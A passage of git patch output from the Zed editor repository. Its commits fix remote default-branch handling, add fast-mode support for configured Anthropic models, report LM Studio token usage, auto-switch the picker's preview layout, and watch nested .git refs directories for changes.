([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #59121

Release Notes:

- Fixed remote worktree creation from the default branch when the
default branch requires its remote name.

---------

Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
---
 .../collab/tests/integration/integration_tests.rs  | 14 ++++++++++++++
 crates/project/src/git_store.rs                    |  3 ++-
 crates/proto/proto/git.proto                       |  1 +
 crates/remote_server/src/remote_editing_tests.rs   | 14 ++++++++++++++
 4 files changed, 31 insertions(+), 1 deletion(-)

diff --git a/crates/collab/tests/integration/integration_tests.rs b/crates/collab/tests/integration/integration_tests.rs
index c4650971d2aabb..38cac226badb88 100644
--- a/crates/collab/tests/integration/integration_tests.rs
+++ b/crates/collab/tests/integration/integration_tests.rs
@@ -7310,6 +7310,20 @@ async fn test_remote_git_branches(
     });
 
     assert_eq!(host_branch.name(), "totally-new-branch");
+
+    let default_branch_b = cx_b
+        .update(|cx| repo_b.update(cx, |repository, _cx| repository.default_branch(false)))
+        .await
+        .unwrap()
+        .unwrap();
+    assert_eq!(default_branch_b.as_deref(), Some("main"));
+
+    let default_branch_with_remote_b = cx_b
+        .update(|cx| repo_b.update(cx, |repository, _cx| repository.default_branch(true)))
+        .await
+        .unwrap()
+        .unwrap();
+    assert_eq!(default_branch_with_remote_b.as_deref(), Some("origin/main"));
 }
 
 #[gpui::test]
diff --git a/crates/project/src/git_store.rs b/crates/project/src/git_store.rs
index 6bf3fb85005905..550433c7ec8d32 100644
--- a/crates/project/src/git_store.rs
+++ b/crates/project/src/git_store.rs
@@ -3540,7 +3540,7 @@ impl GitStore {
 
         let branch = repository_handle
             .update(&mut cx, |repository_handle, _| {
-                repository_handle.default_branch(false)
+                repository_handle.default_branch(envelope.payload.include_remote_name)
             })
             .await??
             .map(Into::into);
@@ -8349,6 +8349,7 @@ impl Repository {
                         .request(proto::GetDefaultBranch {
                             project_id: project_id.0,
                             repository_id: id.to_proto(),
+                            include_remote_name,
                         })
                         .await?;
 
diff --git a/crates/proto/proto/git.proto b/crates/proto/proto/git.proto
index 8d589f947cd90e..1592237cda8713 100644
--- a/crates/proto/proto/git.proto
+++ b/crates/proto/proto/git.proto
@@ -512,6 +512,7 @@ message BlameBufferResponse {
 message GetDefaultBranch {
   uint64 project_id = 1;
   uint64 repository_id = 2;
+  bool include_remote_name = 3;
 }
 
 message GetDefaultBranchResponse {
diff --git a/crates/remote_server/src/remote_editing_tests.rs b/crates/remote_server/src/remote_editing_tests.rs
index 46e2eb1eb62f1a..53aec1f567361e 100644
--- a/crates/remote_server/src/remote_editing_tests.rs
+++ b/crates/remote_server/src/remote_editing_tests.rs
@@ -2800,6 +2800,20 @@ async fn test_remote_git_branches(cx: &mut TestAppContext, server_cx: &mut TestA
     });
 
     assert_eq!(server_branch.name(), "totally-new-branch");
+
+    let default_branch = cx
+        .update(|cx| repository.update(cx, |repository, _cx| repository.default_branch(false)))
+        .await
+        .unwrap()
+        .unwrap();
+    assert_eq!(default_branch.as_deref(), Some("main"));
+
+    let default_branch_with_remote = cx
+        .update(|cx| repository.update(cx, |repository, _cx| repository.default_branch(true)))
+        .await
+        .unwrap()
+        .unwrap();
+    assert_eq!(default_branch_with_remote.as_deref(), Some("origin/main"));
 }
 
 #[gpui::test]

From bd2e879213ca90c0bd9a9d18194871e9484829ef Mon Sep 17 00:00:00 2001
From: Nakano Kenji <Kuroinekorachi@gmail.com>
Date: Fri, 10 Jul 2026 23:01:47 +0800
Subject: [PATCH 383/772] anthropic: Allow configured models to opt into fast
 mode (#58225)

Adds support for enabling Anthropic fast mode on configured models.

Previously, Anthropic models configured through
`language_models.anthropic.available_models` were always marked as not
supporting fast mode, so `speed: "fast"` would be stripped before
sending requests even when the configured model supported Anthropic fast
mode.

This adds an optional `supports_fast_mode` field to configured Anthropic
models. When enabled, the model is marked as supporting fast mode and
the required Anthropic beta header is added automatically. Built-in
fast-mode model detection remains the fallback when the setting is
omitted.

Testing:
- `cargo fmt --package anthropic --package language_models --package
settings_content`
- `cargo test -p language_models available_model --lib`
- `cargo test -p anthropic from_listed_enables_fast_mode --lib`
- `cargo check -p language_models`
- Manual: verified in a local build that a configured Anthropic model
can send fast mode requests correctly.

Release Notes:

- agent: Allow specifying if fast mode is supported for custom anthropic
models

Co-authored-by: Bennet Bo Fenner <bennetbo@gmx.de>
---
 crates/anthropic/src/anthropic.rs                | 14 +++++++++-----
 crates/language_models/src/provider/anthropic.rs | 15 +++++++++++++--
 crates/settings_content/src/language_model.rs    |  2 ++
 3 files changed, 24 insertions(+), 7 deletions(-)

diff --git a/crates/anthropic/src/anthropic.rs b/crates/anthropic/src/anthropic.rs
index 676b43b02b7c2c..cf8d547cc3e364 100644
--- a/crates/anthropic/src/anthropic.rs
+++ b/crates/anthropic/src/anthropic.rs
@@ -19,7 +19,14 @@ pub mod batches;
 pub mod completion;
 
 pub const ANTHROPIC_API_URL: &str = "https://api.anthropic.com";
-const FAST_MODE_BETA_HEADER: &str = "fast-mode-2026-02-01";
+pub const FAST_MODE_BETA_HEADER: &str = "fast-mode-2026-02-01";
+
+pub fn supports_fast_mode(model_id: &str) -> bool {
+    matches!(
+        model_id,
+        "claude-opus-4-6" | "claude-opus-4-7" | "claude-opus-4-8"
+    )
+}
 
 pub const FABLE_MODEL_ID_PREFIX: &str = "claude-fable-5";
 pub const FABLE_FALLBACK_MODEL_ID: &str = "claude-opus-4-8";
@@ -156,10 +163,7 @@ impl Model {
             AnthropicModelMode::Default
         };
 
-        let supports_speed = matches!(
-            entry.id.as_str(),
-            "claude-opus-4-6" | "claude-opus-4-7" | "claude-opus-4-8"
-        );
+        let supports_speed = supports_fast_mode(&entry.id);
 
         // <https://platform.claude.com/docs/en/build-with-claude/compaction#supported-models>
         let supports_compaction = matches!(
diff --git a/crates/language_models/src/provider/anthropic.rs b/crates/language_models/src/provider/anthropic.rs
index ffd8bf814be742..8a0552577066ac 100644
--- a/crates/language_models/src/provider/anthropic.rs
+++ b/crates/language_models/src/provider/anthropic.rs
@@ -333,6 +333,17 @@ fn available_model_to_anthropic_model(available: &AvailableModel) -> anthropic::
         AnthropicModelMode::Thinking { .. } | AnthropicModelMode::AdaptiveThinking
     );
     let supports_adaptive_thinking = matches!(mode, AnthropicModelMode::AdaptiveThinking);
+    let supports_speed = available
+        .supports_fast_mode
+        .unwrap_or_else(|| anthropic::supports_fast_mode(&available.name));
+    let mut extra_beta_headers = available.extra_beta_headers.clone();
+    if supports_speed
+        && !extra_beta_headers
+            .iter()
+            .any(|header| header.trim() == anthropic::FAST_MODE_BETA_HEADER)
+    {
+        extra_beta_headers.push(anthropic::FAST_MODE_BETA_HEADER.to_string());
+    }
 
     anthropic::Model {
         display_name: available
@@ -347,7 +358,7 @@ fn available_model_to_anthropic_model(available: &AvailableModel) -> anthropic::
         supports_thinking,
         supports_adaptive_thinking,
         supports_images: true,
-        supports_speed: false,
+        supports_speed,
         supports_compaction: false,
         supported_effort_levels: if supports_adaptive_thinking {
             vec![
@@ -361,7 +372,7 @@ fn available_model_to_anthropic_model(available: &AvailableModel) -> anthropic::
             vec![]
         },
         tool_override: available.tool_override.clone(),
-        extra_beta_headers: available.extra_beta_headers.clone(),
+        extra_beta_headers,
     }
 }
 
diff --git a/crates/settings_content/src/language_model.rs b/crates/settings_content/src/language_model.rs
index 5abc65dc805c0d..4203bc232af5a0 100644
--- a/crates/settings_content/src/language_model.rs
+++ b/crates/settings_content/src/language_model.rs
@@ -106,6 +106,8 @@ pub struct AnthropicAvailableModel {
     pub default_temperature: Option<f32>,
     #[serde(default)]
     pub extra_beta_headers: Vec<String>,
+    /// Whether Anthropic's fast mode is available for this model.
+    pub supports_fast_mode: Option<bool>,
     /// The model's mode (e.g. thinking)
     pub mode: Option<ModelMode>,
 }

From 04d03d1fe5afa9aac6312eb953612592872304f8 Mon Sep 17 00:00:00 2001
From: Gabriele Ancillai <42274306+GabrieleAncillai@users.noreply.github.com>
Date: Fri, 10 Jul 2026 10:32:21 -0500
Subject: [PATCH 384/772] lmstudio: Fix context wheel by including token usage
 in streaming responses (#57861)

LM Studio doesn't show the context token wheel (#53790) because token
usage is
never reported in streaming responses.

Causes:

1. `stream_options` was missing from the request. Without
`stream_options: { include_usage: true }`, the LM Studio API omits
`usage`
   from every streaming chunk entirely.

2. The event mapper discarded usage data in the final chunk.
OpenAI-compatible
servers send the usage summary in a trailing chunk that has an empty
`choices`
array. The old guard treated that as an error, so even when usage was
present
   it was thrown away before emitting a `UsageUpdate` event.

Fix:
- Add `StreamOptions { include_usage: bool }` and `stream_options` to
`ChatCompletionRequest`, and always set it to `true` for streaming
requests.
- Move usage handling in `LmStudioEventMapper::map_event` to run
*before* the
  empty-choices guard, mirroring the OpenAI provider's approach.
- Add four unit tests for `map_event` covering the fixed behavior.

Release Notes:

- Fixed LM Studio not showing the context window usage wheel.

<img width="1184" height="1080" alt="Screenshot_20260527_130449"
src="https://github.com/user-attachments/assets/97eb8500-39dd-4824-aaf8-f0422b62119d"
/>

---------

Co-authored-by: Gabriele Ancillai <gabriele.ancillai@sofka.com.co>
Co-authored-by: Bennet Bo Fenner <bennetbo@gmx.de>
---
 .../language_models/src/provider/lmstudio.rs  | 166 ++++++++++++++++--
 crates/lmstudio/src/lmstudio.rs               |   7 +
 2 files changed, 160 insertions(+), 13 deletions(-)

diff --git a/crates/language_models/src/provider/lmstudio.rs b/crates/language_models/src/provider/lmstudio.rs
index 03b9451726acae..518b4a26155021 100644
--- a/crates/language_models/src/provider/lmstudio.rs
+++ b/crates/language_models/src/provider/lmstudio.rs
@@ -427,6 +427,9 @@ impl LmStudioLanguageModel {
             model: self.model.name.clone(),
             messages,
             stream: true,
+            stream_options: Some(lmstudio::StreamOptions {
+                include_usage: true,
+            }),
             max_tokens: Some(-1),
             stop: Some(request.stop),
             // In LM Studio you can configure specific settings you'd like to use for your model.
@@ -591,13 +594,23 @@ impl LmStudioEventMapper {
         &mut self,
         event: lmstudio::ResponseStreamEvent,
     ) -> Vec<Result<LanguageModelCompletionEvent, LanguageModelCompletionError>> {
+        let mut events = Vec::new();
+
+        if let Some(usage) = event.usage {
+            events.push(Ok(LanguageModelCompletionEvent::UsageUpdate(TokenUsage {
+                input_tokens: usage.prompt_tokens,
+                output_tokens: usage.completion_tokens,
+                cache_creation_input_tokens: 0,
+                cache_read_input_tokens: 0,
+            })));
+        }
+
+        // The final usage summary chunk from OpenAI-compatible servers has an empty choices array.
+        // Return accumulated events instead of treating it as an error.
         let Some(choice) = event.choices.into_iter().next() else {
-            return vec![Err(LanguageModelCompletionError::from(anyhow!(
-                "Response contained no choices"
-            )))];
+            return events;
         };
 
-        let mut events = Vec::new();
         if let Some(content) = choice.delta.content {
             events.push(Ok(LanguageModelCompletionEvent::Text(content)));
         }
@@ -636,15 +649,6 @@ impl LmStudioEventMapper {
             }
         }
 
-        if let Some(usage) = event.usage {
-            events.push(Ok(LanguageModelCompletionEvent::UsageUpdate(TokenUsage {
-                input_tokens: usage.prompt_tokens,
-                output_tokens: usage.completion_tokens,
-                cache_creation_input_tokens: 0,
-                cache_read_input_tokens: 0,
-            })));
-        }
-
         match choice.finish_reason.as_deref() {
             Some("stop") => {
                 events.push(Ok(LanguageModelCompletionEvent::Stop(StopReason::EndTurn)));
@@ -691,6 +695,142 @@ struct RawToolCall {
     arguments: String,
 }
 
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use lmstudio::{ChoiceDelta, ResponseMessageDelta, ResponseStreamEvent, Usage};
+
+    fn make_event(choices: Vec<ChoiceDelta>, usage: Option<Usage>) -> ResponseStreamEvent {
+        ResponseStreamEvent {
+            created: 0,
+            model: "test-model".to_string(),
+            object: "chat.completion.chunk".to_string(),
+            choices,
+            usage,
+        }
+    }
+
+    fn make_content_choice(content: &str) -> ChoiceDelta {
+        ChoiceDelta {
+            index: 0,
+            delta: ResponseMessageDelta {
+                role: None,
+                content: Some(content.to_string()),
+                reasoning_content: None,
+                tool_calls: None,
+            },
+            finish_reason: None,
+        }
+    }
+
+    fn make_stop_choice() -> ChoiceDelta {
+        ChoiceDelta {
+            index: 0,
+            delta: ResponseMessageDelta {
+                role: None,
+                content: None,
+                reasoning_content: None,
+                tool_calls: None,
+            },
+            finish_reason: Some("stop".to_string()),
+        }
+    }
+
+    // OpenAI-compatible servers send a final chunk with usage data and an empty
+    // choices array. Before this fix, the mapper returned an error for empty
+    // choices, discarding usage entirely.
+    #[test]
+    fn test_usage_in_final_empty_choices_chunk() {
+        let mut mapper = LmStudioEventMapper::new();
+        let event = make_event(
+            vec![],
+            Some(Usage {
+                prompt_tokens: 10,
+                completion_tokens: 20,
+                total_tokens: 30,
+            }),
+        );
+
+        let results: Vec<_> = mapper
+            .map_event(event)
+            .into_iter()
+            .map(|r| r.unwrap())
+            .collect();
+
+        assert_eq!(
+            results,
+            vec![LanguageModelCompletionEvent::UsageUpdate(TokenUsage {
+                input_tokens: 10,
+                output_tokens: 20,
+                cache_creation_input_tokens: 0,
+                cache_read_input_tokens: 0,
+            })]
+        );
+    }
+
+    #[test]
+    fn test_empty_choices_without_usage_returns_empty() {
+        let mut mapper = LmStudioEventMapper::new();
+        let event = make_event(vec![], None);
+
+        let results = mapper.map_event(event);
+
+        assert!(results.is_empty());
+    }
+
+    // Usage data can also arrive in a regular chunk that also contains content.
+    // Both events must be emitted, with UsageUpdate first.
+    #[test]
+    fn test_usage_emitted_alongside_content() {
+        let mut mapper = LmStudioEventMapper::new();
+        let event = make_event(
+            vec![make_content_choice("Hello!")],
+            Some(Usage {
+                prompt_tokens: 5,
+                completion_tokens: 3,
+                total_tokens: 8,
+            }),
+        );
+
+        let results: Vec<_> = mapper
+            .map_event(event)
+            .into_iter()
+            .map(|r| r.unwrap())
+            .collect();
+
+        assert_eq!(
+            results[0],
+            LanguageModelCompletionEvent::UsageUpdate(TokenUsage {
+                input_tokens: 5,
+                output_tokens: 3,
+                cache_creation_input_tokens: 0,
+                cache_read_input_tokens: 0,
+            })
+        );
+        assert_eq!(
+            results[1],
+            LanguageModelCompletionEvent::Text("Hello!".to_string())
+        );
+    }
+
+    #[test]
+    fn test_stop_event_emitted_on_finish_reason() {
+        let mut mapper = LmStudioEventMapper::new();
+        let event = make_event(vec![make_stop_choice()], None);
+
+        let results: Vec<_> = mapper
+            .map_event(event)
+            .into_iter()
+            .map(|r| r.unwrap())
+            .collect();
+
+        assert_eq!(
+            results,
+            vec![LanguageModelCompletionEvent::Stop(StopReason::EndTurn)]
+        );
+    }
+}
+
 fn add_message_content_part(
     new_part: lmstudio::MessagePart,
     role: Role,
diff --git a/crates/lmstudio/src/lmstudio.rs b/crates/lmstudio/src/lmstudio.rs
index 57963bbb040c07..4f5c977f1296ab 100644
--- a/crates/lmstudio/src/lmstudio.rs
+++ b/crates/lmstudio/src/lmstudio.rs
@@ -207,12 +207,19 @@ pub struct FunctionContent {
     pub arguments: String,
 }
 
+#[derive(Serialize, Debug)]
+pub struct StreamOptions {
+    pub include_usage: bool,
+}
+
 #[derive(Serialize, Debug)]
 pub struct ChatCompletionRequest {
     pub model: String,
     pub messages: Vec<ChatMessage>,
     pub stream: bool,
     #[serde(skip_serializing_if = "Option::is_none")]
+    pub stream_options: Option<StreamOptions>,
+    #[serde(skip_serializing_if = "Option::is_none")]
     pub max_tokens: Option<i32>,
     #[serde(skip_serializing_if = "Option::is_none")]
     pub stop: Option<Vec<String>>,

From 01f915d6be2b7fff98ba21a62e7e7181a2758f57 Mon Sep 17 00:00:00 2001
From: Zephiris Evergreen <z@zephiris.dev>
Date: Fri, 10 Jul 2026 09:52:14 -0700
Subject: [PATCH 385/772] picker: Automatically switch layout depending on
 window dimensions (#60559)

# Objective

Fixes #59820.

## Solution

At a high level, I approached this by conditionally rendering a `Below`
preview layout only when the preview was at or below the min width of
the `Right` when the layout is `Right`. Since there's one breakpoint at
`SizeBounds::min_width()` and hitting that breakpoint only changes
rendering (and doesn't change the state), there's no need to persist to
storage or memory that the view is forced to be Below.

I toggled between the two rendering modes by defining
`Picker::preview_layout_rendered()` that would return `Below` if the
window was equal to or smaller than its min width. Then I replaced all
calls of `preview_layout()` that used the response purely for rendering
purposes with `preview_layout_rendered()`. I avoided replacing
`preview_layout()` calls that were responsible for persisting the
current layout and window dimensions to disk to ensure that changes to
the window dimensions were properly synced to the correct layout. This
way changes to the window while in the `BelowAuto` rendering mode edit
the `Right` window dimensions on disk.

## Testing

I tested these changes manually with the following actions on my local
machine (an Apple Silicon Macbook Pro):
- resizing the popover
- resizing the window
- adjusting the split
- making sure the popover size and split percent remains the same after:
  - closing and re-opening the popover
- closing and re-opening the application and making sure the window size
and split percent remains the same

Reviewers can test my changes by performing the same manual actions.

## Self-Review Checklist:

- [X] I've reviewed my own diff for quality, security, and reliability
- [X] Unsafe blocks (if any) have justifying comments
- [X] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [X] Tests cover the new/changed behavior
- [X] Performance impact has been considered and is acceptable

## Showcase

### Before


https://github.com/user-attachments/assets/a4524065-d1a3-4595-bc9e-50c9715b4e66

### After


https://github.com/user-attachments/assets/fede7eb0-5d73-423c-8df0-8192caee8d26

---

Release Notes:

- fix(picker): Automatically switch from Right split to Down split when
picker gets too narrow
---
 crates/picker/src/footer.rs                 | 32 ++++++++++++---------
 crates/picker/src/picker.rs                 | 26 ++++++++++++++++-
 crates/picker/src/render.rs                 | 28 ++++++++++++++----
 crates/picker/src/render/window_controls.rs | 14 +++++----
 crates/picker/src/shape.rs                  | 16 +++++++++++
 5 files changed, 91 insertions(+), 25 deletions(-)

diff --git a/crates/picker/src/footer.rs b/crates/picker/src/footer.rs
index ff0b11caa947be..a91ec6b5b4e8fb 100644
--- a/crates/picker/src/footer.rs
+++ b/crates/picker/src/footer.rs
@@ -123,7 +123,7 @@ impl<D: PickerDelegate> Picker<D> {
 
     fn render_preview_controls(
         &self,
-        _window: &mut Window,
+        window: &mut Window,
         cx: &mut Context<Self>,
     ) -> impl IntoElement {
         let focus_handle = self.focus_handle(cx);
@@ -132,6 +132,12 @@ impl<D: PickerDelegate> Picker<D> {
         let current = self.preview_layout().unwrap_or(preview::Layout::Hidden);
         let preview_visible = current != preview::Layout::Hidden;
 
+        let diff_split = if self.is_auto_vertical(window) {
+            IconName::DiffSplitAuto
+        } else {
+            IconName::DiffSplit
+        };
+
         h_flex()
             .child(
                 Button::new("picker-preview-toggle", "Preview")
@@ -147,35 +153,35 @@ impl<D: PickerDelegate> Picker<D> {
             .when(preview_visible, |this| {
                 this.child(Divider::vertical().mx_1())
                     .child(
-                        IconButton::new("picker-preview-right", IconName::DiffSplit)
+                        IconButton::new("picker-preview-below", IconName::DiffUnified)
                             .icon_size(IconSize::Small)
-                            .toggle_state(current == preview::Layout::Right)
+                            .toggle_state(current == preview::Layout::Below)
                             .tooltip(move |_window, cx| {
                                 Tooltip::for_action_in(
-                                    "Preview to the Right",
-                                    &SetPreviewRight,
-                                    &right_focus_handle,
+                                    "Preview Below",
+                                    &SetPreviewBelow,
+                                    &below_focus_handle,
                                     cx,
                                 )
                             })
                             .on_click(cx.listener(|this, _, window, cx| {
-                                this.set_preview_layout(preview::Layout::Right, window, cx)
+                                this.set_preview_layout(preview::Layout::Below, window, cx)
                             })),
                     )
                     .child(
-                        IconButton::new("picker-preview-below", IconName::DiffUnified)
+                        IconButton::new("picker-preview-right", diff_split)
                             .icon_size(IconSize::Small)
-                            .toggle_state(current == preview::Layout::Below)
+                            .toggle_state(current == preview::Layout::Right)
                             .tooltip(move |_window, cx| {
                                 Tooltip::for_action_in(
-                                    "Preview Below",
-                                    &SetPreviewBelow,
-                                    &below_focus_handle,
+                                    "Preview to the Right",
+                                    &SetPreviewRight,
+                                    &right_focus_handle,
                                     cx,
                                 )
                             })
                             .on_click(cx.listener(|this, _, window, cx| {
-                                this.set_preview_layout(preview::Layout::Below, window, cx)
+                                this.set_preview_layout(preview::Layout::Right, window, cx)
                             })),
                     )
             })
diff --git a/crates/picker/src/picker.rs b/crates/picker/src/picker.rs
index 7915e6fd001f89..c74e78f1e84773 100644
--- a/crates/picker/src/picker.rs
+++ b/crates/picker/src/picker.rs
@@ -1280,10 +1280,34 @@ impl<D: PickerDelegate> Picker<D> {
     fn preview_layout(&self) -> Option<preview::Layout> {
         self.preview.as_ref().map(|p| p.layout)
     }
+    fn is_auto_vertical(&self, window: &Window) -> bool {
+        self.preview_layout() == Some(preview::Layout::Right)
+            && self
+                .size_bounds
+                .would_clamp_width_if_horizontal(&self.shape, window)
+    }
+    /// To check whether we're rendering vertically instead of
+    /// horizontally due to the auto override
+    fn preview_layout_rendered(&self, window: &Window) -> Option<preview::Layout> {
+        let would_clamp = matches!(
+            self.preview,
+            Some(Preview {
+                layout: preview::Layout::Right,
+                ..
+            })
+        ) && self.is_auto_vertical(window);
+        if would_clamp {
+            Some(preview::Layout::Below)
+        } else {
+            self.preview_layout()
+        }
+    }
 
     #[cfg(any(test, feature = "test-support"))]
     pub fn results_width(&self, window: &Window) -> gpui::Pixels {
-        let layout = self.preview_layout().unwrap_or(preview::Layout::Hidden);
+        let layout = self
+            .preview_layout_rendered(window)
+            .unwrap_or(preview::Layout::Hidden);
         let pos = self
             .shape
             .results_position_and_size(layout, &self.size_bounds, window);
diff --git a/crates/picker/src/render.rs b/crates/picker/src/render.rs
index 4ff7c425622548..e60b46469c8dd3 100644
--- a/crates/picker/src/render.rs
+++ b/crates/picker/src/render.rs
@@ -22,7 +22,9 @@ pub mod window_controls;
 impl<D: PickerDelegate> Render for Picker<D> {
     fn render(&mut self, window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
         self.finish_any_completed_resize(window, cx);
-
+        // toggle between BelowForced and Right based on whether it'd clamp if
+        // horizontal
+        let rendered_layout = self.preview_layout_rendered(window);
         let content = match &self.preview {
             Some(
                 preview @ Preview {
@@ -32,6 +34,15 @@ impl<D: PickerDelegate> Render for Picker<D> {
             ) => self
                 .render_with_preview_below(preview, window, cx)
                 .into_any_element(),
+            // render sideways based on bounds
+            Some(
+                preview @ Preview {
+                    layout: Layout::Right,
+                    ..
+                },
+            ) if rendered_layout == Some(Layout::Below) => self
+                .render_with_preview_below(preview, window, cx)
+                .into_any_element(),
             Some(
                 preview @ Preview {
                     layout: Layout::Right,
@@ -58,7 +69,9 @@ impl<D: PickerDelegate> Render for Picker<D> {
             .when(has_preview, |this| this.overflow_hidden())
             .child(content);
 
-        let layout = self.preview_layout().unwrap_or(Layout::Hidden);
+        let layout = self
+            .preview_layout_rendered(window)
+            .unwrap_or(Layout::Hidden);
 
         div()
             .relative()
@@ -101,7 +114,7 @@ impl<D: PickerDelegate> Picker<D> {
             .relative()
             .map(|this| {
                 self.shape.apply_results_size(
-                    self.preview_layout(),
+                    self.preview_layout_rendered(window),
                     &self.size_bounds,
                     self.fill_height(),
                     this,
@@ -309,7 +322,11 @@ impl<D: PickerDelegate> Picker<D> {
                     ),
             )
             .when(self.is_resizable(), |this| {
-                this.child(self.render_resize(window_controls::Middle(preview.layout), window, cx))
+                this.child(self.render_resize(
+                    window_controls::Middle(preview::Layout::Below),
+                    window,
+                    cx,
+                ))
             })
     }
 
@@ -365,7 +382,8 @@ impl<D: PickerDelegate> Picker<D> {
         if let Shape::Resizing(pos) = self.shape
             && !cx.has_active_drag()
         {
-            let centered = Shape::centered_and_relative(pos, self.preview_layout(), window);
+            let centered =
+                Shape::centered_and_relative(pos, self.preview_layout_rendered(window), window);
             persistence::store_shape_for_this_layout(
                 D::name(),
                 self.preview_layout(),
diff --git a/crates/picker/src/render/window_controls.rs b/crates/picker/src/render/window_controls.rs
index a604a600e1f279..cc7fbf2dc7c04b 100644
--- a/crates/picker/src/render/window_controls.rs
+++ b/crates/picker/src/render/window_controls.rs
@@ -438,7 +438,7 @@ impl<D: PickerDelegate> Picker<D> {
                 side.position(
                     this,
                     self.shape.clamped_position_and_size(
-                        self.preview_layout(),
+                        self.preview_layout_rendered(window),
                         &self.size_bounds,
                         window,
                     ),
@@ -451,7 +451,7 @@ impl<D: PickerDelegate> Picker<D> {
                 ResizeDrag::<S>::start_new(
                     self.shape,
                     &self.size_bounds,
-                    self.preview_layout(),
+                    self.preview_layout_rendered(window),
                     window,
                 ),
                 |_, _, _, cx| cx.new(|_| DragPreview),
@@ -464,7 +464,7 @@ impl<D: PickerDelegate> Picker<D> {
                     side.clamp(
                         &mut working,
                         &this.size_bounds,
-                        this.preview_layout(),
+                        this.preview_layout_rendered(window),
                         window,
                     );
                     this.shape = Shape::Resizing(working);
@@ -487,9 +487,11 @@ impl<D: PickerDelegate> Picker<D> {
             return;
         }
         side.revert_to_default_size(&mut self.shape, &self.default_shape, window);
-        let pos =
-            self.shape
-                .clamped_position_and_size(self.preview_layout(), &self.size_bounds, window);
+        let pos = self.shape.clamped_position_and_size(
+            self.preview_layout_rendered(window),
+            &self.size_bounds,
+            window,
+        );
         self.shape = Shape::Resizing(pos);
         cx.notify();
     }
diff --git a/crates/picker/src/shape.rs b/crates/picker/src/shape.rs
index d37e2b0aae5930..217ff6a8fc55d0 100644
--- a/crates/picker/src/shape.rs
+++ b/crates/picker/src/shape.rs
@@ -20,6 +20,12 @@ pub(crate) struct PositionAndShape {
     pub(crate) preview: Pixels,
 }
 
+impl PositionAndShape {
+    pub(crate) fn width(&self) -> Pixels {
+        self.right - self.left
+    }
+}
+
 macro_rules! relative_size {
     ($name:ident, $accessor:ident) => {
         /// Size type that is the sum of a relative size to the viewport and a
@@ -379,6 +385,16 @@ impl SizeBounds {
         working.preview = working.preview.clamp(min_preview, max_preview);
     }
 
+    pub(crate) fn would_clamp_width_if_horizontal(&self, shape: &Shape, window: &Window) -> bool {
+        let min_width = self.min_width(Some(Layout::Right), window);
+
+        let unbounded_width = shape
+            .picker_position_and_size(Some(Layout::Right), window)
+            .width();
+
+        unbounded_width <= min_width
+    }
+
     /// Clamps a whole picker rect (results + preview) into bounds: the total size
     /// against the per-layout min/max, then the divider so both panes keep their
     /// minimums. Width is clamped about its center, height anchored at the top.

From 2b9b3c7ea21293c9f271d993503e6d8dba2c6891 Mon Sep 17 00:00:00 2001
From: Lukas Wirth <lukas@zed.dev>
Date: Fri, 10 Jul 2026 19:29:20 +0200
Subject: [PATCH 386/772] worktree: Watch .git/refs subdirectories for external
 ref updates (#60660)

On Linux and FreeBSD the native file watcher is non-recursive, so a
watch on the .git directory itself does not report changes to files
nested below it. Loose refs live in nested directories under refs, so
external git commit, fetch, branch, and update-ref operations that don't
also touch a direct child of .git (like the index) went entirely
unnoticed.

Watch every directory in the refs tree when a repository is inserted,
and watch directories subsequently created under refs (new remotes,
slash-named branches) as their creation events arrive. On platforms with
recursive watchers these registrations dedupe against the existing
recursive watch, making them free.


---

Release Notes:

- N/A or Added/Fixed/Improved ...
---
 crates/git/src/git.rs                         |  2 +
 crates/worktree/src/worktree.rs               | 81 ++++++++++++++++--
 .../tests/integration/worktree_tests.rs       | 83 +++++++++++++++++++
 3 files changed, 157 insertions(+), 9 deletions(-)

diff --git a/crates/git/src/git.rs b/crates/git/src/git.rs
index fe9947f23b5b83..4bb16a39515dce 100644
--- a/crates/git/src/git.rs
+++ b/crates/git/src/git.rs
@@ -21,6 +21,8 @@ pub const GITIGNORE: &str = ".gitignore";
 pub const FSMONITOR_DAEMON: &str = "fsmonitor--daemon";
 pub const LFS_DIR: &str = "lfs";
 pub const OBJECTS_DIR: &str = "objects";
+pub const REFS_DIR: &str = "refs";
+pub const REFTABLE_DIR: &str = "reftable";
 pub const HOOKS_DIR: &str = "hooks";
 pub const LOGS_DIR: &str = "logs";
 pub const LOGS_REF_STASH: &str = "logs/refs/stash";
diff --git a/crates/worktree/src/worktree.rs b/crates/worktree/src/worktree.rs
index 1cdfd4fdf61dd1..b83532b1636122 100644
--- a/crates/worktree/src/worktree.rs
+++ b/crates/worktree/src/worktree.rs
@@ -24,7 +24,8 @@ use fuzzy::CharBag;
 use git::{
     BISECT_LOG, COMMIT_MESSAGE, DOT_GIT, FETCH_HEAD, FSMONITOR_DAEMON, GC_PID, GITIGNORE,
     HOOKS_DIR, INFO_DIR, LFS_DIR, LOGS_DIR, LOGS_REF_STASH, OBJECTS_DIR, ORIG_HEAD,
-    REBASE_APPLY_DIR, REBASE_MERGE_DIR, REPO_EXCLUDE, SEQUENCER_DIR, status::GitSummary,
+    REBASE_APPLY_DIR, REBASE_MERGE_DIR, REFS_DIR, REFTABLE_DIR, REPO_EXCLUDE, SEQUENCER_DIR,
+    status::GitSummary,
 };
 use gpui::{
     App, AppContext as _, AsyncApp, BackgroundExecutor, Context, Entity, EventEmitter, Priority,
@@ -3463,14 +3464,9 @@ impl BackgroundScannerState {
             .context("failed to add repository directory to watcher")
             .log_err();
 
-        // On Linux and FreeBSD, the native watcher is non-recursive, so subdirectories inside `.git` need explicit watching.
-        // For repos using the reftable backend, watch the `.git/reftable` directory so that ref changes are detected.
-        let reftable_path = common_dir_abs_path.join("reftable");
-        if fs.is_dir(&reftable_path).await {
-            watcher
-                .add(&reftable_path)
-                .context("failed to add reftable directory to watcher")
-                .log_err();
+        watch_git_dir_subdirectories(&common_dir_abs_path, fs, watcher).await;
+        if repository_dir_abs_path != common_dir_abs_path {
+            watch_git_dir_subdirectories(&repository_dir_abs_path, fs, watcher).await;
         }
 
         let work_directory_id = work_dir_entry.id;
